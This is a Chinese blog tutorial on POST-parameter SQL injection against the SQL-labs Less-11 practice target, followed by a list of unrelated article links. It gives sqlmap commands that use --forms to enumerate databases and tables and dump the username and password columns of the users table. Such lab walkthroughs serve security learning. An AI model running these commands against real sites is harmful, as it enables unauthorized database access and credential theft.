当前位置: 首页 > news >正文

SQL labs-SQL注入(四,sqlmap对于post传参方式的注入)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

序言:本文主要讲解基于SQL labs靶场,sqlmap工具进行的post传参方式的SQL注入。

传参方式有两类,一类是直接在url栏内进行url编码后进行的传参,这种传参方式保密性不强,容易被修改;另一类则是url栏内部无显示,传参保密性较强。

一,抓包。(SQL labs-less11)

使用任意抓包软件进行抓包。

发现传参方式确实为POST形式。

二,sqlmap使用。

 sqlmap -u http://172.168.10.129:8001/Less-11/ --forms

使用 sqlmap 的 --forms 参数自动搜索表单(在sqlmap使用过程中,会有很多选项,全部选择y确认)。

三,选择注入点。

此处说明有多个注入点,请选择一个进行注入,此处选择0。

失败了,重新编辑,加入--dbs参数。

sqlmap -u http://172.168.10.129:8001/Less-11/ --forms --dbs

成功。

四,得到表名。

 sqlmap -u http://172.168.10.129:8001/Less-11/ --forms -D 'security' --tables 

五,得到字段名。

六,得到敏感信息。

sqlmap -u http://172.168.10.129:8001/Less-11/ --forms -D 'security' -T users -C passwrd,username --dump

但这里显示都是空的。

七,总结。

post与get传参并无明显差别,工具使用大同小异,手工post注入与get并无明显差别。下一篇文章将会讲解SQL注入-post手工注入。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Java Web应用安全防护
  • 03--KVM虚拟化
  • Python 爬虫入门(一):从零开始学爬虫 「详细介绍」
  • ES里面常用的查询语句有哪些?
  • Pytorch使用教学2-Tensor的维度
  • 探索Python的进度条神器:tqdm
  • 51单片机嵌入式开发:20、STC89C52R基于C51嵌入式点阵广告屏的设计
  • springcloud rocketmq 新增的消费者组从哪里开始消费
  • 【开发学习笔记】什么是Springboot?
  • 【AI大模型】Prompt 提示词工程使用详解
  • SSM学习9:SpringBoot简介、创建项目、配置文件、多环节配置
  • docker 构建 mongodb
  • 阿里服务器购买与java环境搭建 实践
  • kafka高性能的底层原理分析
  • 若依ruoyi+AI项目二次开发(智能售货机运营管理系统)
  • [ JavaScript ] 数据结构与算法 —— 链表
  • 2017-09-12 前端日报
  • JavaScript创建对象的四种方式
  • java第三方包学习之lombok
  • js正则,这点儿就够用了
  • php的插入排序,通过双层for循环
  • SegmentFault 社区上线小程序开发频道,助力小程序开发者生态
  • Spring Cloud Feign的两种使用姿势
  • SpriteKit 技巧之添加背景图片
  • Vue小说阅读器(仿追书神器)
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 海量大数据大屏分析展示一步到位:DataWorks数据服务+MaxCompute Lightning对接DataV最佳实践...
  • 体验javascript之美-第五课 匿名函数自执行和闭包是一回事儿吗?
  • 我有几个粽子,和一个故事
  • 学习ES6 变量的解构赋值
  • 带你开发类似Pokemon Go的AR游戏
  • 分布式关系型数据库服务 DRDS 支持显示的 Prepare 及逻辑库锁功能等多项能力 ...
  • 智能情侣枕Pillow Talk,倾听彼此的心跳
  • ​马来语翻译中文去哪比较好?
  • ​如何防止网络攻击?
  • # 学号 2017-2018-20172309 《程序设计与数据结构》实验三报告
  • #70结构体案例1(导师,学生,成绩)
  • #HarmonyOS:Web组件的使用
  • (1/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (2)MFC+openGL单文档框架glFrame
  • (C#)Windows Shell 外壳编程系列4 - 上下文菜单(iContextMenu)(二)嵌入菜单和执行命令...
  • (C++)八皇后问题
  • (Matlab)遗传算法优化的BP神经网络实现回归预测
  • (MTK)java文件添加简单接口并配置相应的SELinux avc 权限笔记2
  • (ZT)一个美国文科博士的YardLife
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (七)Flink Watermark
  • (一)RocketMQ初步认识
  • (转)详解PHP处理密码的几种方式
  • (自适应手机端)响应式服装服饰外贸企业网站模板
  • (最全解法)输入一个整数,输出该数二进制表示中1的个数。
  • .gitignore文件忽略的内容不生效问题解决
  • .Net 6.0 处理跨域的方式
  • .NET Core、DNX、DNU、DNVM、MVC6学习资料